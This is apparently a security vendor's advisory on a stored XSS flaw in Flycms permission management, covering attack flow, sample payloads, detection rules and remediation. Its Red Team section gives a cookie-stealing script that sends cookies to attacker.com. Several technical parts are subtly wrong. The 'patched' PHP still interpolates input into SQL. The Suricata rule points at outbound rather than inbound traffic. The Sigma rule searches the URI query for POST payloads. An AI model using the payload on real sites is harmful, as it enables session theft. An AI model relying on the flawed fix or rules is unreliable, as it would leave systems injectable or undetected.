CVE-2024-21732

Executive Summary

CVE-2024-21732 identifies a stored Cross-Site Scripting (XSS) vulnerability in Flycms, an open-source content management system. The flaw resides in the permission management feature, allowing an authenticated attacker with sufficient privileges to inject malicious scripts. When other users (including administrators) interact with the affected permission management interface, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the CMS instance. The vulnerability is present in the codebase up to commit abbaa5a. No official patch has been released, and the CVSS score is currently unassigned (0.0). The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched deployments.

Supply Chain & Package Security

Flycms is a PHP-based application. The vulnerability is not in a third-party package but in the core application code. However, administrators should ensure all PHP dependencies are up-to-date to mitigate secondary risks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (authenticated user with permission management access)
• User Interaction (UI): Required (victim must visit the permission management page)
• Scope (S): Changed (attacker can impact resources beyond the vulnerable component)
• Confidentiality (C): Low (script can access data in the victim's session)
• Integrity (I): Low (script can modify content within the victim's session)
• Availability (A): None

Threat Level: Medium. While the CVSS is unassigned, the need for authentication and user interaction reduces the immediate risk. However, the potential for privilege escalation and lateral movement within the CMS makes it a significant concern for Flycms deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The permission management feature in Flycms does not properly sanitize user-supplied input before storing it in the database. When an administrator or other user with permission management rights views the list of permissions, the unsanitized data is rendered in the browser, allowing the attacker's script to execute.

Attack Flow:

1. An attacker with permission management privileges (e.g., a low-level admin) navigates to the permission management section.
2. The attacker creates or edits a permission entry, injecting a malicious payload into a field (e.g., permission name, description).
3. The payload is stored in the database without sanitization.
4. When another user (including a higher-privileged admin) views the permission list, the payload is rendered in the HTML.
5. The victim's browser executes the script, which can:
   • Steal session cookies.
   • Perform actions on behalf of the victim (e.g., create a new admin account).
   • Redirect the victim to a malicious site.
   • Deface the CMS interface.

Vulnerable vs. Patched Code

The vulnerability is present in the codebase up to commit abbaa5a. No patched version has been released.

Vulnerable Code (Conceptual):

// In a file handling permission management (e.g., admin/permission.php)
$name = $_POST['name'];
// Directly insert into database without sanitization
$db->query("INSERT INTO permissions (name) VALUES ('$name')");

Patched Code (Conceptual):

// Properly sanitize input
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO permissions (name) VALUES ('$name')");

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Flycms instance (commit abbaa5a or earlier).
• Valid credentials with permission management privileges.

Exploitation Steps:

1. Log in to Flycms as a user with permission management rights.
2. Navigate to the permission management section (e.g., /admin/permission).
3. Create a new permission or edit an existing one.
4. In a text field (e.g., "Permission Name"), inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the permission.
6. When another user views the permission list, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual permission creation or modification events.
• Look for HTML tags or JavaScript in permission-related fields in the database.
• Use web application firewalls (WAF) to block common XSS payloads.

Mitigation:

• Apply input validation and output encoding to all user-supplied data in the permission management feature.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit user permissions and remove unnecessary privileges.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the Flycms server.
  • Unusual POST requests to /admin/permission or similar endpoints.
• Host:
  • Presence of <script> tags or JavaScript code in the permissions table of the Flycms database.
  • Unexpected files in the Flycms webroot (e.g., webshells).
• Logs:
  • Web server logs showing requests to permission management pages with encoded or suspicious parameters.
  • Application logs indicating failed login attempts or privilege escalation.

Detection Engineering

YARA Rule

rule Detect_Flycms_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Flycms permission management"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-21732"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Flycms Permission Management XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts in Flycms permission management
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21732
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/permission'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in permission names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Flycms Permission Management XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/permission"; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:
   • Disable the permission management feature for non-essential users.
   • Manually sanitize all existing permission entries in the database.
2. Short-Term:
   • Apply input validation and output encoding to the permission management code.
   • Implement a Web Application Firewall (WAF) rule to block XSS payloads.
3. Long-Term:
   • Monitor the Flycms repository for an official patch.
   • Consider migrating to a more actively maintained CMS.
   • Conduct regular security audits and penetration testing.

Valters IT - DevSecOps & Cyber Threat Intelligence